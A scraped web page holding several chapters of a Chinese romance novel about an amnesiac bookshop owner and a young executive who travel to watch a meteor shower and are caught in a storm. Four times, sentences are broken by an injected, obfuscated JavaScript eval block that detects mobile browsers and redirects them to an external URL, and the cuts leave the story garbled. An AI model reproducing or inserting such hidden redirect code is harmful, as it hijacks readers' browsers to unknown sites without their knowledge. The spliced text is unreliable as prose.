;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850586|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去后,你在岛上住的房子人去楼空,医院只说你发生意外,已经转院,我将附近的医院跑遍,也没有得到你的消息。” 她意外:“听起来,家大业大的小江总,竟是在亲自找我?” 江未垂下眼帘,轻呵一声,听起来像是自嘲:“当时的我,还不是小江总呢,所以动用不了任何家里的关系与资源,只能亲自跑。” 那一丝厌倦的情绪转瞬即逝,他的眼眸又弯成月牙,对她笑道,“更何况,我是找女朋友诶,自己跑是应该的。” 沈淮棠未接他讨巧的俏皮话,只用那双淡漠的眼静静凝视他。 一时间,空气的流动都微妙起来。 失忆的分明是她,可她身上并没有任何记忆缺失所带来的不安全感,反而回报以审视的目光,似乎能清晰地判断他所说是否属实。 在她面前,一切谎言都会化成齑粉。 被如此注视着,江未的笑容支撑不住,又开始叹气:“是真的,当时我还在念大学,与家中关系也不大好。” 沈淮棠无视他抛来的烟雾弹:“所以,什么时候找到我的?” 江未泄气,见实在瞒不住,才抿抿唇说道:“一年前,不到一年半。” 她思索半晌,大抵是江未来鹤城前夕,彼时他已经是“小江总”,查查新开未久的栖居书店应是易如反掌,只不过对她失忆一事仍不知情。 “既然如此,那为什么不来见我?” 江未听到这问句,沉默一瞬,周身开始散发淡淡的生无可恋:“我工作很忙。” 他修长的手指揉揉太阳穴,双眼无神道,“宴会那天,我已经开了十个小时的会,能挤出一刻钟去应付社交场合都是极限,接下来还有别的事情……” 语气一顿,他笑笑,“怎么知道,就是在这一刻钟里,你出现了。” 多新鲜呐。 头一回见到一身班味儿的总裁。 这倒并非虚言,听闻江氏集团本是家族企业,如今却只剩江未兄弟二人。江未的哥哥仍在滨城总部,而江未则来鹤城扩大版图,瞧着风光,实则步履维艰,初期公司彻夜灯火通明,老板带头加班,所幸加班费够厚,年终够肥,稳定后也安排放假出游,这才安抚员工们躁动的心。 “而且,我也没有想清楚要怎么见你,类似于……近乡情怯?”江未想想,低声说道,“当初是憋着一股劲儿想要当面问个清楚,可你确实让我不要再找你,而且也过去三四年,我又何必硬凑你面前?” 听着是赌气的话,可他微微低头,细碎的阳光落在眼睑,又氤氲开,似是拢上轻薄的雾气,未落雨却潮湿遍生,让人无端想伸手替他抚去那从未诉诸于口的闲愁万种。 如此引人动容的一幕,沈淮棠却能八风不动地颔首:“好,我知道了。” 江未抬眸,眼底的阴霾在看到她的瞬间尽数散去,他又轻笑道:“你看,不管你问我什么,我可都说了。” “还有最后一个问题。” 沈淮棠一顿,忽而直起身来,毫无预兆地俯身凑近他。 那瞬间入侵安全社交范围的气势,带着陌生的亲昵与柔软的攻击性,江未下意识紧绷脊背,扯得伤口都疼痛起来,他暗咬后槽牙,迎上她步步紧逼的目光。 “你很喜欢看星星,是吗?” 江未竖起十二分的防备,却难以预料会是这种问题,不知所以然地点点头:“是,怎么了?” 沈淮棠仍与他对视,手却变戏法似的从风衣口袋里抽出一张纸。 江未接过展平,这应该就是随便从记事本上撕扯下来的普通纸张,边缘呈锯齿状,上面的字迹龙飞凤舞潦草至极,他仔细辨认,才发现那似乎是一篇极简的旅游计划。 “为了感谢你救我,我决定,带你去旷野上看星星。” 她看着他,似乎找到了逗他的乐趣,指腹在他手背惊鸿一点,又在单薄的纸张上轻轻一弹,发出哒的一声。 而后,她学着他方才的语气,缓缓说道:“你看,我可不是两手空空来探病,只是基于你的身体情况,迫不得已需要延迟满足……等你出院了,抽个三五天的假期,再来找我兑现吧。” 4. 幼稚 夜里,沈淮棠再次梦见江未。 仍然是在梦港岛的小教堂,明亮的光线穿过绚烂的琉璃彩窗,折射出剔透而迷幻的光斑,在她膝上老旧圣经摊开的页面影影绰绰。 她垂眸翻阅泛黄的书籍,身边的江未却抓过她的左手,将把玩已久的银戒戴进无名指。 他眉开眼笑:“你看,尺寸也正合适。” 这一次,江未的面容不再笼罩薄雾,她的目光能清晰地描摹出他的星眸皓齿。 与医院的他相比,梦中的他似乎要更年轻些,神采飞扬,熠熠生辉。戴好戒指后,他霸道地与她十指相扣,还抬起手来,在她的手背落下轻巧的吻。 沈淮棠忽然注意到,他的手腕小臂处有淡淡的疤痕,像是密密麻麻的牙印。 她以为自己看错,想要仔细观察,那枚银戒却忽然活了般,陡然抽条,生长出无数银色的荆棘藤蔓,裹挟着他们的臂膀攀援而上。 尖刺贯穿皮肉,席卷呼吸,最终迫使她割裂梦境,睁开双眼。 天尚未亮,万籁寂静。 沈淮棠坐起身,伸手点亮台灯,暖黄色的光芒照亮她小臂处已经很淡的牙印痕迹。年代久远的伤口,早已愈合得差不多,不仔细看,根本发现不了。 这到底是梦,还是记忆? 为何梦中的江未也有同样的疤痕呢? 她的指腹细细摩挲肌肤上微小的起伏,一时想不起在医院的江未是否也是如此。 若是记忆,江未为何会说戒指尺寸“也”正合适? 那不本来就是情侣对戒吗? 繁杂的问题似潮水般用来,她刚睡醒的脑子一时理不清头绪,便暂时放下,转而抓起手机,查阅未读信息。 余慈用了极大篇幅吐槽她哥年龄虽未到三十,脾气却已至更年期,她和同学出去聚会,亲妈云姨得知后打钱让她玩得开心,余谨却严厉要求她实时报备,不准外宿,否则断零花钱。 沈淮棠深以为然,看一眼余谨大半夜转发来的《不按时吃饭的十大危害》、《生时何必久睡》和《别再恋爱脑,这会毁了你》,迅速回复:“TD。” 还有一条来自曾经负责她小说出版的编辑,相识多年已成朋友,呜哇哇地催促她:“到底什么时候准备下一本?!” “哎呀,快了快了。” 沈淮棠熟练地打着太极,脑海中却浮现出梦港岛遥远而模糊的景色,忽而有种故地重游的冲动。 思虑翩翩之间,她下意识打开与江未的聊天窗口。 没有未读信息,最后一次的话题是他最新的检查结果,向她表明身体恢复得很不错,出院指日可待。 上回沈淮棠提出的短期旅行,险些让江未直接在病床上来个仰卧起坐,巴不得下一秒就能收拾行李准备出发。 她生怕对他那脆弱的肋骨造成二次伤害,眼疾手快地按住他,冷酷无情地说:“出游的前提是你的身体恢复健康。” 这简直成了驴子眼前吊着的胡萝卜,因此他最近养病养得格外乖巧。 而此时此刻,令她意外的是,聊天框内,江未那端竟突然显示“正在输入中……” 沈淮棠看一眼时间,凌晨五点零六,不知他是一夜未睡还是早早醒了。 静静等了会儿,那条信息却一直没有发过来,不知他在编辑什么长篇大论。 她注意到他的头像是一只笑得鬼迷日眼的胖狐狸,与小江总英俊利落的形象很不相符,点进朋友圈后,封面挂着一轮孤月,没有签名,内容只有三天可见,也是一片空白。 退出后,聊天框不仅没有新信息,那边也没有再输入了。 沈淮棠并不询问。 收起手机后,起身洗漱。 她对镜梳头,习惯性地伸手摸摸脑袋上的疤痕,又拨拉海藻般的长发严密地遮盖住。 听说十七岁的她,留得一头清爽的短发,会是什么样呢?她打量着自己淡漠眉眼,左右偏头,想象着这张面容更年轻时的模样。 之前用的手机或许能有照片,可惜沈淮棠出意外时,手机从灯塔掉落摔碎,又被海水冲刷,已经完全无法使用。 虽说如此,她连手机的残骸也没见过,余谨早就处理干净,给她买了新手机。失忆后,她舍弃充斥着“陌生人”的旧账号,用回国后新配的电话卡注册新账号,也算是迎接新生活。 不过,也因此,她难以求证曾经与江未的聊天通话记录了。 · 未过几日,时逢霜降。 窗台上的玻璃花瓶里养着江未送的白雪山,这会儿开得正好,她为花朵换水,又去准备三花儿的晚饭,端至小猫平时进食的院子。 栖居书店是老式的前铺后宅的格局,方便得很,醒来就能上班,那狭小的院子就在铺宅中间,如天井一般,精巧幽雅的瓦檐框柱一方阳光,不管是在这里读书还是听雨,都有一番别致之处。 她蹲身,摸摸正在快乐干饭的小猫咪毛茸茸的脑瓜子,而后起身穿过书店前堂,去将门外“欢迎光临”的牌子翻成“本店已打烊”。 今日提前关店,她准备去云姨家,每个月至少有一天,全家人要一起吃饭。 余慈喜欢她做的蛋糕,因此她每次也会提前在店里做好,然后带过去。 上车后,她看时间尚早,稍一寻思,顺路拐去鹤羽医院,快到时打电话给江未。 “我在医院停车场。”沈淮棠将车停稳,偏头按住蓝牙耳机,“方便让我上去送块蛋糕吗?或者让小杨下来取,我就不打扰你了。” 对于她的突然造访,江未虽然意外,心情却很不错,让她到病房来。 不过,才刚进门,沈淮棠就觉出不对来,江未没穿病号服,身着蓝灰色的毛衣与黑色长裤,坐在病床边,便携桌子上放着他工作用的笔记本电脑。 “准备出院了?”她将蛋糕放在桌面,随意问道,“身体好全了吗?” “放心吧,肯定没问题,只不过还需要复诊。”他顺其自然地开始拆蛋糕的包装,“在医院不方便工作,躺了快一个月,再不出去我都要闷发霉了。” 江未察觉蛋糕盒没有牌子标识,一扬眉毛:“这是你自己做的蛋糕吗?” 沈淮棠一点头,顺手给他递个勺子。 不知他又想到什么,眼珠一转,抬眸看向她,故意抬起下巴骄纵问道:“这蛋糕,是单我有,还是姐姐妹妹们都有?” 沈淮棠见他这般作相,有些好笑:“是专门做给妹妹的蛋糕,顺带给你匀一份。” 江未这人相当自洽,舀一勺绵软的蛋糕入口,心满意足:“原来如此,帮我给妹妹带句话,托她的福,我才能有这口福。” 此时,沈淮棠的手机振动,是余谨打电话来:“你在哪儿?我到栖居门口,才发现你已经关门了。” 她说:“我一会儿直接回家。” 余谨一顿,声调拔高:“你又去见他?” 她坦然承认:“是,我在鹤羽医院。” 听到这话,连江未的注意力都被吸引过来,似乎好奇她接下来会说什么。 余谨似乎难以接受她的顽冥不灵:“他到底有什么好,你就非要去见他不可?” 他叹口气,“那你就在医院等我,我去接你回家。” 沈淮棠懒洋洋地拒绝:“我开车了。” 余谨半分不让:“那我打车过去,开你的车回家。” “你何必呢?”沈淮棠终于忍无可忍,“他到底有什么好,我看你才是非要来见他不可。” 挂电话时,她见到江未在憋笑,眼里有一闪而过的幸灾乐祸,活像个挑拨离间成功的妖妃。 她问:“余谨之前来找过你?” 江未点头,将最后一口蛋糕包进嘴里,见她好似只是随口一问,并无深究的意思,便一扬眉,循循善诱道:“不问他跟我说了什么?” “没兴趣。”她说,“老生常谈的告诫,我都能倒背如流。” 听她这话,江未笑而不语,却不再提。 小杨给江未办好出院手续,回到病房,将收拾好的东西拎走,先去热车。 在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850587|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开医院前,江未特地与照顾过他的医护人员告别,凡是打过照面的人,皆送了不让人为难的小礼品,连前台小姐姐都有份。 虽然道别的时间并不长,但他凭借如此优柔的涵养与从容的气度,以及这张能言善辩的嘴,所到之处自是一片欢声笑语。 沈淮棠跟在他身后,默默观察,觉得他好像一只到处开屏的花孔雀。 结束后,他们终于进入电梯,去往地下停车场。 沈淮棠半敛着眸子,感觉到身边的江未微微偏头,目光落在她身上。 “阿棠。”他忽然开口,她抬眸与他对视,听到他轻声说,“抱歉,刚才冷落你了,以后不会再让你等我。” 沈淮棠不知这话是否另有含义。 就算有,她也要装作不知:“是我今天没有提前打招呼就过来。” 江未变魔术似的,从身后抽出一小束花朵,金香玉鹅黄色的花瓣泛着奶白色的边,清新香甜的味道扑面而来。 沈淮棠讶异道:“你从哪里掏出来的?” “今天不知你要来,所以临时定的。”明明送礼物的是他,这会儿却笑得美滋滋,“让前台代收了,刚才才悄咪咪拿到手,你喜欢吗?” 沈淮棠收下花束,低声道:“谢谢你。” 电梯门开,他们并肩而行,江未送她去停车的地方。 远远地,就看见她的车边站着一个高大的身影,不出意外,是面色沉沉的余谨。 他眉头紧皱,看向江未的眼神极不友善,目光扫过沈淮棠怀里盛放的花束后,似是觉得刺眼,开口就没好话:“你有这空闲,倒不如早些回家陪陪云姨。” 沈淮棠对他的脾气早已习惯,心平气和地蹦两个字:“反弹。” 余谨语塞,冷冷点评:“幼稚。” 旁边江未笑得阳光灿烂,先是颔首对余谨打招呼:“余先生。”而后又温柔垂首对沈淮棠说,“谢谢你今天特地来看我,家人该等急了,快去吧,路上小心。” 不知是否错觉,他似乎将“特地”与“家人”字音都咬重三分。 沈淮棠觉得好笑:“幼稚。” 道别后,转身拉开副驾车门坐进去。 余谨冷哼,不再与江未废话,转身坐进驾驶座,打方向盘,一脚油门,轰了江未一脸车尾气。 好奇心作祟,沈淮棠下意识看向后视镜里江未越来越小的身形。 似乎是预见她会瞥来这一眼,他含笑举起胳膊,大幅度地摆动两下。 她轻笑,嘲讽自己又被拿捏的荒唐。 余谨驾驶车子拐上大路,短短时间内就超了三辆车。 沈淮棠无奈道:“怎么生那么大气?要怎样你才相信,我心里有数呢?” 余谨硬邦邦地反驳:“是吗?他那漏洞百出的话,我看你都听进去了。” “听进去又不代表我全然相信。”她靠在软垫上,看着窗外一闪而逝的街景,神色慵懒地说,“再说了,你不也有事儿瞒着我吗,我没怪你吧?” 此言一出,余谨果然闭嘴了。 沈淮棠转眸看他,语气放软:“我知道你担心我。” 余谨微微皱眉,连下颌都紧绷出隐隐的青筋,她伸手拍拍他的胳膊,安抚道,“相信我好不好?我并不是毫无判断能力的小朋友。” 说话间,她的手机在频频振动。 江未正在不停地给她发信息,简直像是有分离焦虑的小狗,试图用这个办法引起她的注意。 江未:阿棠,下次见面是什么时候? 江未:可以尝尝附近新开一家日料店,松叶蟹可新鲜了,你肯定喜欢。 江未:分享链接[值得期待!虞美人座流星雨将迎来最佳观赏期] 江未:择日不如撞日…… 江未:阿棠,我们明天就出发吧! 身体深处如同被划开一道口子,平静无波的生活终于寻得突破的裂缝,一种陌生的、难言的冲动汩汩涌出,霎那间淋透整个胸腔。 沈淮棠弯弯唇角,回复道:“好。” 5. 天气预报 决定做得突然,沈淮棠着急收拾行李,次日出发涯城,又起个大早赶飞机,显然没睡够,神游一般抵达机场,和江未碰面后也没心情聊天,完全凭借身体本能缓慢登机。 她在靠窗的位置坐好,翻出小猫图案的眼罩与耳塞戴上,裹着毛毯,在起飞前就陷入沉睡。 江未对此叹为观止。 这是睡觉吗?这好像昏迷了。 见她这般求睡若渴,江未便一直保持安静,直到快落地,才伸手拍拍她的胳膊。 沈淮棠悠悠转醒,慢吞吞地将眼罩推到头顶,露出一双睡眼惺忪的眼睛。 或许是平日里的淡然显得她性子稳重,这会儿添了三两分懵懂,竟透出某种稚气未脱的意韵。 江未饶有兴趣地打量片刻,摸出矿泉水,拧开瓶盖后递过去:“醒醒神。” 沈淮棠的神魂尚未归位,反应慢两拍,见状也不疑有他,居然就着他的手,张嘴小口小口啜饮起来。 江未眉毛一扬,似乎未想到会是如此,手倒是稳得很,没让她落下一滴来。 结束后,他重新拧上瓶盖,目光却在她脸上未收回来,流连过那仍处于迷茫中的表情,玩心大起,干脆又拎起一颗樱桃的细杆儿,将果肉往她嘴里塞。 沈淮棠顺从张嘴吃了,嚼嚼嚼,牙齿轻咬桃核,嘟起唇来像豌豆射手准备攻击。 江未在手心垫了张纸巾,抵在她唇边,示意将桃核吐出。 沈淮棠在舌尖推出桃核的瞬间猛然惊醒,脑中仿佛炸开枪响,当即瞳孔地震,门牙一颤,桃核战战兢兢掉落在纸巾正中。 此举过于冒犯他人,她无地自容,简直想开窗跳下去。 沈淮棠讪讪抬眼,故作镇定地看向江未,却见他乐在其中,将纸巾丢弃,又兴致勃勃拆了一包吸吸果冻—— 她当即战术后仰,抬手阻止他强行探来的吸管,礼貌谨慎地说:“谢谢,我自己来就好。” 江未显然意犹未尽,没有立刻放手,万分期待地看着她, 一时间,双方陷入僵持。 面对得寸进尺的江未,沈淮棠只能递过去一个充满强势和肯定的眼神,半分不退。片刻后,他才充满遗憾地妥协,松开了手,然后盯着恢复清醒的她独立自主地嘬吸吸果冻。 那眼神炽热不已,让她如芒在背,压力山大,觉得他好像有什么大病。 半晌,她终于受不了,抬手一巴掌将江未侧过来的脸呼了回去。 换来的是江未的一声轻笑。 下飞机后,他们抵达酒店,入住沈淮棠昨夜预定好的两个单间。 沈淮棠思索着,出游一事毕竟是由她提出,自然要多费心些,于是休息片刻便自行出门,准备去购置装备。 所幸在飞机上补过觉,这会儿她能勉强将省电模式切换至正常运行。 只是没想到,没一会儿江未就打来电话:“敲门怎么不开?你出去了吗?” “嗯,租了一辆越野。”她叼了根葡萄味的棒棒糖盘算着,“再准备些燃料、药品和医用氧气,还有应急工具,就能回去了。” 江未应声,聊罢三两句挂断,待沈淮棠回到酒店,才将车子停稳,便看到不远处朝她挥手的江未。 他抱着一大堆装备,一股脑儿塞进车后座,边解释道:“刚看天气预报有雨,我不确定带来的保暖衣物够不够,所以刚去置办防寒设备,就是车载暖气和毯子之类,可别冻坏了。” 两个脑瓜总比一个好使,沈淮棠清点一番,江未抱着胳膊倚在车门上,问道:“忙那么久,饿了没有?咱去吃饭?” 她摇摇头,看了一眼时间:“你先去吧,我准备再去附近买点食物和饮用水,这边店铺关门都比较早,再晚就难买了。” 沈淮棠念着他受伤初愈,不好干重活儿,这些小事她就能搞定,江未还是死皮赖脸地跟上来:“没事,一点都不疼。” 她看着他乐滋滋的模样直摇头,没见过干活儿还这么高兴的人。 进超市后,沈淮棠单刀直入地扫荡不少速食与干粮。 江未自告奋勇去推购物车,单脚踩在底部的杆子上,当滑板车一样迅速溜过来,正好接到她拿不下的一箱饮用水。 沈淮棠很想将这一幕拍摄下来,他的同事员工们知道小江总私底下这么活泛吗?感情最开始见到他那运筹帷幄的模样只不过是社交面具罢了。 她笑笑,低头清点购物车内的商品,江未撑着腮帮子,闲闲地看着她,问道:“你连清单都没有,这么熟练吗?” “以前自己去过几回。”她拍拍手,“差不多,可以去结账了。” 江未瞟一眼,却说:“不急。” 他们兜兜转转逛到零食区,江未挑了一堆糖果巧克力和膨化食品,以及鲜艳诱人的辣条,还有各种口味的果汁饮料。 沈淮棠没有阻止,抱着手臂倚在购物车把手上,远远看着江未精挑细选新鲜水果,但他显然都不大满意,眉头紧紧蹙起,看着左手蜜瓜右手草莓陷入犹疑中。 最后,他决定全都收入囊中。 江未满载而归,将水果放入购物车,拍拍手上的灰尘:“行,都是你爱吃的。” 听到这一句,沈淮棠微微愣住,原以为他是少年心性,这会儿仔细一瞧,他挑选的竟都是她爱吃的零嘴。 或许失忆不会导致口味的巨大改变。 她忽然想起曾在一本书上读过,逛超市其实是一件很私人的事情,会暴露许多鲜少展露的观念与信息,因此相伴者熟悉与否,带来的完全是两种体验。 此话不假,今日这一趟,倒是显出他们之间极其类同的特征。 两人虽是“重逢”,又不同往日,哪怕是保有记忆的江未,与她也多年未见,也生疏不少。突然间要朝夕相处,难免会刻意为对方考虑得多些。 这些年沈淮棠自由散漫惯了,做个独行侠,当然怎么舒服怎么来。 可这一次,肩上的责任感让她更多考虑要保证江未的全须全尾,因此想到的大多是生存必需品。 而江未则迁就她的喜好,挑选零食水果,将此行定为秋游,好让她也放松些。 想通此处,沈淮棠偏头看向江未,这人瞧着跳脱,性子却细腻。 他与她对上视线,一挑眉毛:“怎么?又被我的美貌迷住了?” 她颔首:“你付账的样子真帅。” “那以后要是有这种情况,希望沈小姐偶尔也要和我商量,别总是一个人行动。” 超市里温度不低,江未似有些闷热,单手扯扯领口,却笑得漫不经心,“要在你面前有所表现真的很难,拜托给我一些展示帅气的机会行不行?” 她勾勾唇角,回复道:“好。” 他们一齐将物资运回酒店,搬上越野。此时天空乌云聚集,江未抬头,露出线条流畅的脖颈:“好像要下雨了。” 沈淮棠甩上车门,轻叹口气:“天气预报一点都不准。” 但天气预报不准,才是正常的事。 来涯城之前,沈淮棠查到未来一周的天气仅仅是“晴天之中偶有阴云”,现在已经变成“阴天中夹杂晴天”,明天或许又是另一番景象。 再加上涯城地广人稀,十里不同天,变数极大,他们就算犹豫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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紧绷的神经松懈,江未后知后觉意识到车内的低气压。他不动声色地瞥了沈淮棠好几眼,见她凝眸郑重,嘴唇紧紧抿成一条线。 他试探性地问:“阿棠,你生气了?是我不对,其实我出门之前已经安排好所有工作了,但今天实在是事出突然。” “没有生气。”沈淮棠哭笑不得,觉得江未把她当孩子哄,“事出突然也没办法,解决了就好。” “哎呀,阿棠真是通情达理。”江未见状,似乎松口气,露出笑脸来,“其实我是给你一个狮子大开口的机会,你听不出来吗?” “原来如此。”沈淮棠故作了然地点点头,“那你给我泡杯咖啡吧。” 窗外的旷野云山雾罩,暴雨倾盆,雨水如注,将大地染成一片朦胧的灰蓝色。雷电光芒划过天际,撕裂开长长的伤口,却照亮暗沉的大地。 道路颠簸,车身起伏,沈淮棠仍然保持从容自若。 不过,或许是因为低温与精神高度集中,她紧握着方向盘的手骨节有些泛白。 江未视线一顿,说道:“别喝咖啡,你都开一上午了,等会儿停车,我们吃点东西补充体力,然后换我开。” 她并无异议:“也行,这样能快些。” 他看一眼车载导航,暴雨拖慢进度已经是板上钉钉的事实,这才是第一天,如果后面全是这种天气,云层过厚,看流星雨自然是天方夜谭,基本白跑一趟。 真够离谱,天气怎会和预报差那么多。 然而,现在比看不到流星雨更迫在眉睫的事情是,他们大概率无法在预定时间赶到余光镇住宿。 若真是卡在前不着村后不着店的旷野中,今晚只能在车里过夜了。 6. 非我不嫁 将车停稳,沈淮棠终于松口气,揉揉紧绷的太阳穴,长时间的精神集中而后突然松懈,疲乏感如潮水般在身体里蔓延开。 这会儿她才后知后觉地有些眩晕感,使劲地眨眨眼,也无法像刚才那样专注了。 江未给她倒了杯温水,然后拿过装食物的大袋子,开始挑挑拣拣:“请问沈小姐,今天的午餐想要吃点什么呢?是红烧牛肉,番茄鸡蛋,还是海鲜?当然,还有自热米饭和八宝粥。” 她考虑片刻:“我要吃蛋糕。” 江未语气笃定:“那就吃蛋糕。” “我可能有点低血糖,得吃点甜的。”沈淮棠解释道,接过他拆好包装的小蛋糕,小口小口吃起来。 “你不舒服?头晕?”江未面容严肃地打量她,“不会是高反吧?这里海拔比涯城要高,我给你准备好氧气。” 或许各方面原因都有吧。沈淮棠昏昏沉沉地想,却已经没有力气说出口。 比如她过于心焦无法抵达的目的地,比如暴雨中开车需要加倍的专注,再比如她本来就是个对身体机能不大关注的冒失性子,以及在出发之前吃过角鲨烯,怎么知道还是会高反…… 总而言之,当她反应过来时,高反的难受程度比她想的还要来势汹汹。 她头痛欲裂,胃口全无,勉强将蛋糕吞咽殆尽,双方换了座位。 江未用大毛毯将窝在座位上的沈淮棠裹粽子似的包起来,又给她戴上吸氧设备,轻若未碰到那般摸摸她的肩膀,低声安抚道:“睡会儿吧。” 这一觉,她睡得并不安稳,隔十几分钟就骤然一惊,时常不知此刻是醒是梦。 每次睁眼见到的都是同样的景象。 黑漆漆的车内,以及昏暗的车外,车灯的光芒聊胜于无。 窗外的旷野遥远漫无边际,人迹罕至,一路上没有见到像样的镇子,偶有寥落的村庄作为迢迢远路的点缀,连第二辆同行的车辆都找不到。 他们一路走来,景色虽好,却也隔了一层雨帘。 沈淮棠困倦地眨眼,精神疲惫却又难以入睡,于是偏首将脑袋抵在窗户上,看延伸至漆黑虚空的雨幕,忽然觉得他们好似隔绝在世界之外,荒无人烟,远山似沉默的巨人,只偶尔在闪电划过天空的时候才显出阴郁的真容。 若非车载导航仍在运行,以及车灯时不时照亮的蓝色路牌,沈淮棠觉得他们已经开到外星球。 而后,她又转眸,看向正在开车的江未线条利落的侧脸。 下午都是他在开车,一路走走停停,休息的时候,他连上氧气设备,将驾驶位置往后躺倒,抱臂静静闭目养神。等有些精神了,再启动汽车继续踏上旅程。 期间,他过分沉静,并未打扰过沈淮棠休息。 她的脑袋歪靠在软枕上,陷入漫无目的的思索。 他与她对上视线时,那双桃花眼只要稍微弯一弯,笑意就能满溢而出,再加上他总是不动声色地顺她的意,让她在与他的相处之中如沐春风。 或许这是天赋,或是一种技能,在无知无觉中使人陷入他设下的温柔陷阱中。 但真正的他是什么样子的呢?社交面具下的他,亦是如此体贴吗? “再盯着我看,一概按暗恋处理。”江未察觉到她毫不遮掩的视线,仍直视前方,唇角却勾起,“我是不是很好看?瞧你都回不过神了。” 沈淮棠倦怠地蹭蹭柔软的毛毯,懒洋洋地说:“嗯,这么美丽的一张脸,简直是艺术品,你可要好好保养,我才能常看常新。” “遵命长官,我保证,就算老了也是帅老头。” 江未哼笑一声,正色道,“插播一件事情,现在已经傍晚了,距离目的地还有五百多公里,但天气一直不好,我觉得今晚可能赶不到了,方案一是在车里过夜,方案二是继续开夜车,长官有何指示?” 沈淮棠微微坐直身体,拿出手机,仔细研究片刻实时天气,确认这个情况根本难以赶到目的地,便摇摇头道:“实在不行就车里过夜吧,暴雨天开夜车,太危险了。” 事已至此,江未颔首:“反正也迟了,就放松点,你饿了没?先找点零嘴垫垫肚子,一会儿吃晚饭。” 直到夜里雨才小了些,江未将车停在公路旁已经废弃的岔道,此处临近一个极其冷门的小小景点,大多数自驾游的旅客都会选择直接去往余光镇,鲜少有人会特地绕去看一眼那无人问津的小地方。 沈淮棠将车窗打开,寒冷而清新的空气瞬间涌入,她无声无息地打了个冷战,却又贪恋雨后混着植物的气味,只能将身上的毯子裹得更紧。 江未翻翻找找,掏出来自热米饭和八宝粥,外面阴雨绵绵,野营所用的便携炊具完全派不上用场,难以施展厨艺。 这种条件,凑合吃点算数,结束后他收拾餐具,抬眸见她仍在看着窗外,便问道:“要出去走走吗?” 沈淮棠转眸,昏暗而狭小的环境中,他的眼睛却好似含着盈润的光芒。 她犹豫:“下雨的夜里在旷野溜达,听上去不太安全。” “不要走远,只是活动一下四肢,都在车里呆一天了,再不松快松快都要废了。”江未笑笑,伸了个大大的懒腰,“我很想去,你陪我吧,雨衣放在哪里了?” 淅淅沥沥的雨夜中,旷野散发异常宁静而迷人的氛围。那种宁静并非指具体的声音,而是如同雾气弥散般令人五感尽忘的濛濛氛围。 闪电划过漆黑的夜空时,湿透的草叶便折射出一片熠熠生辉的涌动银海,幽暗的旷野在刹那间亮堂起来,甚至隐约可见远处起伏的山峦。 江未身高腿长,打着手电筒在前方探路,三两步就将沈淮棠甩在后面。 她走得很慢,一步一脚印地踩在旷野湿润的泥土中,万分谨慎地挪动,尽量规避一不留神就可能将靴底卡在泥浆。 未久,江未感觉到双方距离拉远,便站定等待,待沈淮棠慢悠悠地挪至他身边,这才抱怨道:“这路好滑,很难站稳,你能不能扶我一把?” 沈淮棠眼前即是他微微弯曲的胳膊,就等她将手搭上去。 “你对谁都是这样吗?”她忍不住问。 “什么?”江未愣神一瞬,读懂问题后了然笑笑,“当然不是,我可没有闲情逸致考虑别人。” 她玩笑道:“这句话又对多少人说过?” 未等江未回答,沈淮棠已经稳稳地挽住他的臂弯。 他无奈说:“你把我当成什么人了?” 她的确有些好奇:“如果只是对我……为什么呢?在你眼中,我是个很难相处、爱逞强,或者脾气不好的人?需要你格外照顾我的面子?” 他们缓慢前行的路途中,江未思考片刻,回答道:“以前的你确实过于逞强,小小年纪苦大仇深,总希望万事都按照你的想法前行……但这是不可能的事情,所以你觉得痛苦。” 她点点头:“原来如此,听着是个很别扭的性格,但那已经是过去的事情了,现在你不必再对我那么小心翼翼,有话直说就好。” 闲聊中,他们眼前出现孤零零的立牌。 江未手电筒的光芒往上一扫,露出三个已然斑驳的大字:古祭坛。 这应该就是那无人问津的小景点了,一座伫立在荒无人烟的旷野之中的远古遗迹,守护着这片荒芜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850589|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的土地。 祭坛由青石垒砌而成,在岁月的侵蚀中,石面已经磨损严重,依稀能看到上面刻着古老的文字符号。 在石头裂开的巨大缝隙,以及周围散落的残破石碑间,皆已草木丛生,自然的痕迹与人文的遗物交错,映衬出庄严与肃穆,却仍是充满着遗憾。 沈淮棠莫名有些惶然,细雨倾斜,密密地洒落在她的面庞,在卷曲的睫毛挂上水珠。 她前二十年的记忆,已经成为旷野中的遗迹,沉默疏离,无人问津。 从其他人口中得知关于自身的三言两语,是混沌雨夜中,闪电照亮无数罅隙间萋萋芳草的一刹那。 光芒转瞬即逝,她只看清朦胧的倒影,对于祭坛全貌却茫然无知。 凝视别人眼中的自己,无异于管中窥天。 